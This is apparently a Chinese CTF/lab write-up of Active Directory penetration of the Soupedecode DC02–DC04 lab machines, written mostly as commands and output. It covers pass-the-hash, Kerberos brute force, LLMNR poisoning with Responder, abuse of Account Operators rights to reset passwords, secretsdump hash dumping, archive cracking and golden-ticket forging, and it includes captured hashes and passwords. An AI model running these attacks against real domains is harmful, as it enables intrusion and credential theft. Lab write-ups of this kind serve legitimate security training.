$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:4408da87fddde5ecdffe27d1d8255bc1
[*] DPAPI_SYSTEM
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[*] NL$KM
0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D........c../...
0010 62 4D CA D9 55 20 44 41 75 55 3E 85 82 06 21 14 bM..U DAuU>...!.
0020 8E FA A1 77 0A 9C 0D A4 9A 96 44 7C FC 89 63 91 ...w......D|..c.
0030 69 02 53 95 1F ED 0E 77 B5 24 17 BE 6E 80 A9 91 i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[*] Cleaning up...
12.13 哈希传递攻击(PTH)
目的:无需明文密码,直接用哈希值认证并横向移动到域控(DC01$ 是域控的机器账户,默认有高权限)。
必要性:多数情况下无法获取明文密码,PTH 是域内横向的核心手段。
前提:目标开启 SMB 服务(445 端口),且未禁用 NTLM 认证(默认启用)。
原理:通过 NTLM 协议,用哈希替代明文密码完成认证。
用 nxc 验证 DC01$ 哈希的有效性,确认可横向到域控。
nxc smb 192.168.219.240 -u target_users.txt -H 4408da87fddde5ecdffe27d1d8255bc1

用 DC01$ 哈希通过 secretsdump.py 导出域内所有用户哈希(包括 Administrator)。
通过 DC01$ 权限导出域内所有用户哈希(包括 Administrator),最终用管理员权限登录域控,实现对整个域的控制。
python /usr/share/doc/python3-impacket/examples/secretsdump.py soupedecode.local/'DC01$'@192.168.219.240 -hashes :4408da87fddde5ecdffe27d1d8255bc1

12.14 完成渗透
用 Administrator 哈希通过 evil-winrm 登录域控,完成渗透。
前提:域控开启 WinRM 服务(5985/5986 端口),且拥有管理员级别的哈希或明文密码。
原理:通过 WinRM 协议远程执行命令,类似 SSH 但针对 Windows。
evil-winrm -i 192.168.219.240 -u Administrator -H 8982babd4da89d33210779a6c5b078bd

12.15 总结
从用户枚举到密码爆破获取初始凭证,通过AS-REP Roasting获取更高权限账户,利用注册表备份提取机器账户哈希,最终通过哈希传递攻击实现域控完全控制。
13、DC03 :中等
13.1 外网打点
nmap -sS -p- -T4 192.168.215.185 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'

卧槽什么都没有,这怎么打?
nmap -sS -p 53,13487,65005 -T4 192.168.215.185 -A

扫错了,哈哈哈哈,靶机重启,原来是我换wifi了

再来
nmap -sS -p- -T4 192.168.215.25 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'

nmap -sS -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49672,49685 -T4 192.168.215.25 -A

根据上面的dc2靶场进行信息收集一波,ldap协议是开启着的,还有smb协议
enum4linux-ng -A 192.168.215.25 -C

13.2 尝试使用匿名登录
smb匿名连接

13.3 kerberos 用户名枚举
kerbrute userenum -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt --dc 192.168.215.25


charlie
administrator
wreed11
webserver
爆破smb
nxc smb 192.168.215.25 -u user -p user

13.4 爆破 kerberos 协议
kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt wreed11
kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt charlie
三个用户接失败

13.4 LLMNR 投毒攻击
13.4.1 具体流程
骗取目标设备的账号密码哈希,具体流程如下:
-
监听局域网内的 LLMNR 请求:用
Responder(你之前用过的工具)等软件,在攻击机上监听局域网内的 LLMNR 广播; -
伪造响应欺骗目标:当目标设备(比如域内的员工电脑)发起 LLMNR 请求(如解析
\\共享打印机名)时,攻击机抢先回复:“我就是你要找的设备,我的 IP 是攻击机 IP”; -
骗取哈希值:目标设备相信后,会试图用当前登录用户的 “NTLM 哈希” 与攻击机建立连接(比如访问共享文件夹),攻击机就能捕获到这个哈希;
-
破解哈希或直接用哈希登录:拿到哈希后,可通过
hashcat破解成明文密码,或直接用 “哈希传递(PTH)” 登录其他设备。
13.4.2 如何用 LLMNR 拿到域内哈希
比如你在域渗透中,攻击机和目标域内的员工电脑在同一个网段(192.168.215.0/24):
-
在 Kali 上启动
Responder,开启 LLMNR 监听: -
员工在电脑上误输入
\\不存在的共享名(比如\\file-server),DNS 解析失败,触发 LLMNR 广播; -
Responder捕获到这个请求,伪装成file-server回复员工电脑; -
员工电脑用当前登录用户(比如
SOUPEDECODE\charlie)的 NTLM 哈希,尝试与攻击机建立 SMB 连接; -
Responder成功捕获到charlie的哈希,你后续就可以用这个哈希进行 PTH 攻击,登录其他域内设备。
responder -I eth0 -wd

这里应该是域控靶机的计划任务,所以能拿到hash

拿到这个账号的hash,准备去爆破

[SMB] NTLMv2-SSP Client : 240a:42c2:802:3c85:e8b7:3202:ffea:f6fd
[SMB] NTLMv2-SSP Username : SOUPEDECODE\DC01$
[SMB] NTLMv2-SSP Hash : DC01$::SOUPEDECODE:b7c95f1435ed324f:38D48E36709F60B6B02218D61D394294:010100000000000000A791D28545DC0159ED6A549FAD342D0000000002000800330037005300330001001E00570049004E002D005500350050004500330055004F00300044004600550004003400570049004E002D005500350050004500330055004F0030004400460055002E0033003700530033002E004C004F00430041004C000300140033003700530033002E004C004F00430041004C000500140033003700530033002E004C004F00430041004C000700080000A791D28545DC010600040002000000080030003000000000000000000000000040000033BE778EBDE22DAB53FA856B26B3A1EABC23AFB04656C990D86DF46D0504C4230A0010000000000000000000000000000000000009002C0063006900660073002F0053004F005500500045004400450043004F00440045002E004C004F00430041004C000000000000000000
—
[SMB] NTLMv2-SSP Client : 240a:42c2:802:3c85:e8b7:3202:ffea:f6fd
[SMB] NTLMv2-SSP Username : soupedecode\xkate578
[SMB] NTLMv2-SSP Hash : xkate578::soupedecode:0215e15662d218c6:75CB92B3BD84CC2BA33FD7549A0D1EA4:010100000000000000A791D28545DC018EC3298268DA333B0000000002000800330037005300330001001E00570049004E002D005500350050004500330055004F00300044004600550004003400570049004E002D005500350050004500330055004F0030004400460055002E0033003700530033002E004C004F00430041004C000300140033003700530033002E004C004F00430041004C000500140033003700530033002E004C004F00430041004C000700080000A791D28545DC010600040002000000080030003000000000000000000000000040000033BE778EBDE22DAB53FA856B26B3A1EABC23AFB04656C990D86DF46D0504C4230A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C0065005300650072007600650072000000000000000000

13.5 smb渗透
找到账号密码,查看smb服务器内有什么东西
xkate578:jesuschrist
smbclient -L //192.168.215.25/ -U xkate578

登录到share共享文件夹,发现user.txt

尝试上传,发现这个用户有上传文件的权限

使用evil-winrm连接失败
evil-winrm -i 192.168.215.25 -u xkate578 -p jesuschrist

13.6 查询域内SPN关联用户
查询寻域内所有关联了SPN的用户(用于发现这些用户的TGS票据,从而破解密码)

13.7 枚举域内用户SID
xkate578这个用户有查看域内SID信息的权限
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/xkate578@192.168.215.25 > results.txt

把这些用户名信息导出为一个用户字典
grep "SidTypeUser" /data/demo/results.txt | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt

13.8 爆破 kerberos
针对域用户 xkate578 进行 “密码暴力破解” 的操作,核心目的是通过字典攻击尝试获取该用户的明文密码。
ntpdate 192.168.215.25
kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt xkate578 -v

13.9 nxc爆破smb
使用nxc内网渗透神器,使用相同的账号密码爆破smb服务器,全部失败

13.10 获取不需要预认证用户的AS-REP哈希
全部没有
impacket-GetNPUsers -dc-ip 192.168.215.25 soupedecode.local/ -usersfile target_users.txt

利用之前得到的密码 xkate578:jesuschrist
ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b 'DC=SOUPEDECODE,DC=LOCAL' "sAMAccountName=xkate578" memberOf > ldap_result.txt

| 参数 | 作用 |
|---|---|
-x |
使用简单认证(非 SASL 认证),适合用用户名 / 密码登录。 |
-H ldap://192.168.215.25 |
指定 LDAP 服务器地址(这里是域控的 IP)。 |
-D "xkate578@SOUPEDECODE.LOCAL" |
绑定的用户 DN(用户名),即使用 xkate578 的凭证登录 LDAP。 |
-w 'jesuschrist' |
绑定用户的密码(xkate578 的密码)。 |
-b 'DC=SOUPEDECODE,DC=LOCAL' |
查询的基准 DN(域的根目录),即从整个域范围查询。 |
"sAMAccountName=xkate578" |
过滤条件:只查询 sAMAccountName 为 xkate578 的用户(精准定位自身)。 |
memberOf |
只返回该用户的 memberOf 字段(即所属的组)。 |
> ldap_result.txt |
将结果输出到文件,方便查看。 |
从结果中可以看到这个用户属于Account Operators 组
作用:
-
创建 / 修改 / 删除普通域用户账号可在域内新增用户(如
testuser)、修改现有用户的属性(如密码、登录脚本、所属组等),但不能修改域管理员(Domain Admins)等高级账号。 -
管理用户组(非特权组)可创建新的普通用户组,或修改普通组的成员(如将
zximena448加入某个组),但不能修改Domain Admins、Enterprise Admins等特权组。 -
重置普通用户密码可强制重置普通域用户的密码(无需知道原密码),例如将
zximena448的密码改为hacked123,进而控制该账号。 -
查看域内用户 / 组的详细信息比普通用户拥有更高的 LDAP 查询权限,可获取更多域内账号的属性(如密码过期时间、登录次数等)。
尝试利用net命令和这些凭证,向目标域添加一个用户,然后使用evil-winrm连接的时候,连接不上
net rpc user add "it_support" "ItSupport@123" -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.215.25
evil-winrm -i 192.168.215.25 -u it_support -p ‘ItSupport@123’

将用户添加到远程管理组即可使用evil-winrm连接
net rpc group addmem "Remote Management Users" it_support -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.215.25
evil-winrm -i 192.168.215.25 -u it_support -p ‘ItSupport@123’

那么尝试添加管理员组呢?很明显,之前已经说过了,Account Operators组的用户,可创建新的普通用户组,或修改普通组的成员(如将 zximena448 加入某个组),但不能修改 Domain Admins、Enterprise Admins 等特权组。

再看看管理员组有哪些用户,一个是Operators,一个是Administrator,两个用户属于超级管理员’
ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "DC=SOUPEDECODE,DC=LOCAL" "memberOf=CN=Domain Admins,CN=Users,DC=SOUPEDECODE,DC=LOCAL" sAMAccountName name

从 LDAP 查询结果中,有几个关键线索表明 Operators 是自定义组而非 Windows 内置组:
Windows 内置操作员组都有特定的前缀:
-
Backup Operators -
Print Operators -
Server Operators -
Account Operators
而这里发现:
-
组名:
Operators(没有前缀) -
这不符合 Windows 内置组的命名规范
sAMAccountName 分析
ldif
# Operators, Users, SOUPEDECODE.LOCAL
dn: CN=Operators,CN=Users,DC=SOUPEDECODE,DC=LOCAL
name: Operators
sAMAccountName: Operators
关键点:
-
sAMAccountName: Operators(没有数字后缀) -
Windows 内置组通常有特定的 sAMAccountName 格式
-
例如内置的
Account Operators的 sAMAccountName 是Account Operators
另外
# 内置组通常在 Builtin 容器中
dn: CN=Account Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL
我们再来查看自定义组中有哪些用户
ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "DC=SOUPEDECODE,DC=LOCAL" "(&(objectClass=user)(memberOf=CN=Operators,CN=Users,DC=SOUPEDECODE,DC=LOCAL))" sAMAccountName name

# Account Operators 不能重置这些直接组成员的密码:
- 直接属于 Administrators 的用户
- 直接属于 Domain Admins 的用户
# 但可以重置这些用户的密码:
– 通过组嵌套获得管理员权限的用户
– 属于自定义管理组的用户
再不清楚,就是这个链路
Domain Admins (域管理员组)
↑ 包含
Operators (自定义管理组)
↑ 包含
fbeth103 (普通用户)
xkate578 (Account Operators) → 可以重置 fbeth103 密码
开始修改密码(回家重装了靶机,ip变了)
net rpc user password "fbeth103" "P@ssw0rd123" -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.0.102
# 或者
[root@kali] /home/kali/DC03
❯ rpcclient -U “xkate578″ –password=”jesuschrist” 192.168.56.126 ⏎
rpcclient $> setuserinfo2 fbeth103 23 “Pass1234!”
rpcclient $>
# 然后连接
evil-winrm -i 192.168.0.102 -u fbeth103 -p ‘P@ssw0rd123’

此时就已经得到了最后的root.txt内容

它这个自定义既然组隶属于管理员组,那我们是不是能利用这个fbeth103用户去修改管理员的账号密码呢?现在试试
┌──(root㉿kali)-[~]
└─# net rpc user password "Administrator" "NewAdminPass123" -U "SOUPEDECODE.LOCAL/fbeth103%P@ssw0rd123" -S 192.168.0.102
┌──(root㉿kali)-[~]
└─# evil-winrm -i 192.168.0.102 -u Administrator -p ‘NewAdminPass123’
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc’ for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
soupedecode\administrator

成功修改!都不需要去PTH(哈希传递攻击)了
13.11 PTH攻击(hash传递)
Secretdump
获取域内hash
impacket-secretsdump 'SOUPEDECODE.LOCAL/fbeth103:P@ssw0rd123'@192.168.0.102


13.12 工具推荐 ldapdomaindump
除了ldapsearch工具之外,还有一个工具也可以看域内组织情况,叫做ldapdomaindump
ldapdomaindump -u "SOUPEDECODE.LOCAL\fbeth103" -p P@ssw0rd123 192.168.0.102

在生成的domain_groups.html中也能看到Operators属于Domain Admins组

从这里也能看到fbeth103属于Operators组

用这个工具更为方便
13.13 DC03 域渗透总结
本次 DC03 域渗透从外网打点开始,先通过 nmap 扫描确定目标为域控制器,开启 53、88、139、445、389 等关键端口。匿名登录 SMB 失败后,用 kerbrute 枚举到 charlie、administrator 等用户,爆破无果后通过 Responder 进行 LLMNR 投毒,捕获到 xkate578 的 NTLM 哈希并破解出密码。
利用 xkate578(属 Account Operators 组)的账号管理权限,先创建影子账号并加入远程管理组,成功登录后枚举域内用户,发现自定义组 Operators 隶属于 Domain Admins,且包含用户 fbeth103。
重置 fbeth103 密码并登录,利用其间接域管理员权限,成功修改 Administrator 密码,获取域控最高权限,最终找到 root.txt,全程未依赖复杂漏洞,主要通过权限嵌套与凭据复用推进。
14、DC04:难
14.1 外网打点
nmap -sS -p- -T4 192.168.0.103 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'

nmap -sS -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49680,49710,49765 -T4 192.168.0.103 -A

自动重定向到这个域名

编辑下面的文件,将ip和域名加入进去
# windows
C:\Windows\System32\drivers\etc\hosts

linux也要,不然扫描不到东西,这里他变成了重定向次数过多,而不是之前的无法访问网站
echo "192.168.0.103 soupedecode.local" >> /etc/hosts

使用dir进行目录扫描,扫出来一个这个目录
dirb http://soupedecode.local

还有一个服务器信息
http://soupedecode.local/server-info

这里有一个服务版本,可以使用searchsploit检索一下(没有发现任何有用的东西)

我们一直往下翻,翻到了这个东西

继续将这个域名添加到hosts中,就可以访问站点了,是一个登录框

14.2 后台爆破
打开burp,fuzz sql注入、xss字典,都没有结果,使用相同的账号密码字典爆破也没有结果

继续信息收集
smbclient -L //192.168.0.103/ -N

后续也尝试了各种枚举,也没有东西。。。。。。
后边去看了看别人写的,就是这个机子很容易出问题,爆破几次后,后面怎么爆破都是403了
最后爆破出来账号密码是 admin:nimda
登录成功后会要求你输入ip地址

可能是命令执行,但是尝试各种命令执行都失败了,只要和|,&相关的都不行,看来是做了过滤

14.3 LLMNR
那就来试试DC3的LLMNR,我们在这个输入框里输入kali的ip地址
responder -I eth0 -wd

echo "websvc::soupedecode:e2985b38b501aed2:E5E63AAD4B475A06D1ECE4C7F78A2E60:010100000000000080646EFE3946DC01F711F570D52509F5000000000200080045004B0042004F0001001E00570049004E002D0043003700380051004F0038004100440032003100490004003400570049004E002D0043003700380051004F003800410044003200310049002E0045004B0042004F002E004C004F00430041004C000300140045004B0042004F002E004C004F00430041004C000500140045004B0042004F002E004C004F00430041004C000700080080646EFE3946DC01060004000200000008003000300000000000000000000000004000005C18B02FEAC5263030D32A3F0BCCDD51E0CAD786D3DFBABF65601AC3E74CE55D0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0030002E003100340038000000000000000000" > hash
john hash –wordlist=/usr/share/wordlists/rockyou.txt

websvc:jordan23
密码已过期,应该知道怎么搞了吧

14.5 近源攻击!
按住esc进入选择用户界面,然后根据步骤一步一步走

输入原来的账号密码

选择ok,说明你密码输入对了

随后就可以修改你的账号密码了
14.6 smb信息收集
账号密码 websvc:jordan23
smbclient -L //192.168.0.103 -U "SOUPEDECODE.LOCAL/websvc%admin123"

在c盘找到第一个flag
smbclient //192.168.0.103/C -U "SOUPEDECODE.LOCAL/websvc%admin123"

14.7 查询域内SPN关联用户
有了域内的账号密码,再来看看SPN,查询域内所有关联了 SPN 的用户,用来获取他们的凭据,没有结果

14.8 枚举域内用户SID
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/websvc@192.168.0.103 > users
grep “SidTypeUser” /data/demo/users | awk -F ‘\\\\’ ‘{print $2}’ | awk ‘{print $1}’ | sort -u > /data/demo/target_users.txt

14.9 获取不需要预认证用户的AS-REP哈希
结果没有
impacket-GetNPUsers -dc-ip 192.168.0.103 soupedecode.local/ -usersfile target_users.txt > hash
cat hash | grep +

14.10 ldapdomaindump
收集 LDAP 信息,获取域内用户列表、权限分组(如 Domain Admins)、账号状态(启用 / 禁用),锁定高价值目标(如 Administrator)。
ldapdomaindump -u "SOUPEDECODE.LOCAL\websvc" -p admin123 192.168.0.103
python -m http.server

访问8000端口,看到用户不属于任何特权组,仅仅是普通用户

仔细翻翻看,找到一个默认的账号密码
rtina979 :Z~l3JhcV#7Q-1#M

同样的密码过期,需要近源攻击!
smbclient //192.168.0.103/C$ -U "SOUPEDECODE.LOCAL/rtina979%Z~l3JhcV#7Q-1#M"

这里给你们一张表,输入清楚了哈,我输了十多遍,艹

14.11 二次smb信息收集
此时就能正常登录了

在rtina979用户的Documents文件夹里找到一个rar压缩包,把它下载下来

解压需要密码

fcrackzip 工具只能用于破解 ZIP 文件,而我们的文件是 RAR 格式。
使用 rar2john 将 RAR 文件转换为 John the Ripper 可识别的哈希格式。
提取哈希:
rar2john Report.rar > report_hash.txt
使用字典攻击(使用 rockyou.txt):
john --wordlist=/usr/share/wordlists/rockyou.txt report_hash.txt

解压,输入密码PASSWORD123

解压出来会发现当前目录有一个htm文件是一个渗透测试报告

在这个报告最后,能看到krbtgt的hash内容

14.12 黄金票据攻击
条件:
-
获取 KRBTGT 账户哈希 – 通过 DCSync 或其他方式
-
获取域 SID – 通过 LDAP 或 SMB 枚举
-
知道域名 – 目标域的完整名称
获取到了KRBTGT哈希 先验证一下是否是正确的,红色代表失败,紫色代表hash正确,或者账户禁用,或者密码过期等等
0f55cdc40bd8f5814587f7e6b2f85e6f

14.12.1 获取域SID
域SID为:S-1-5-21-2986980474-46765180-2505414164
python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/rtina979@192.168.0.103

14.12.2 同步域时间
在平时可能会遇到kali和靶机的时间一直都不同步,怎么使用ntpdate或者其他时间同步工具,就是同步不起来,就需要使用下面第一行的命令了
systemctl stop systemd-timesyncd # 停止自动时间同步服务
ntpdate 192.168.0.103 # 强制同步时间

14.12.3 生成管理员的黄金票据
impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain soupedecode.local administrator

14.12.4 导入票据到环境变量
export KRB5CCNAME=administrator.ccache

14.12.5 使用票据
impacket-wmiexec soupedecode.local/administrator@dc01.soupedecode.local -k -target-ip 192.168.0.103


至此渗透完成啦
14.13 总结
DC04 域渗透从外网打点起步,nmap 扫描发现目标开放 80、88、445 等端口,访问 80 端口需配置 hosts 解析域名,目录扫描找到后台登录页。爆破无果后,利用后台 IP 输入框发起 LLMNR 投毒,捕获 websvc 用户哈希并破解密码,通过近源攻击修改过期密码。
登录 SMB 获取首个 flag 后,枚举域用户发现 rtina979 账号及密码,再次近源攻击修改密码。登录其 SMB 下载加密压缩包,破解后得到渗透报告,从中提取 krbtgt 用户哈希。
获取域 SID 并同步时间后,生成 Administrator 黄金票据,导入环境变量后通过 wmiexec 成功登录域控,获取最高权限,全程依赖凭据获取与票据攻击,突破多重限制完成渗透。
15、广告时间
点击即达
16、往期推荐
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!














暂无评论内容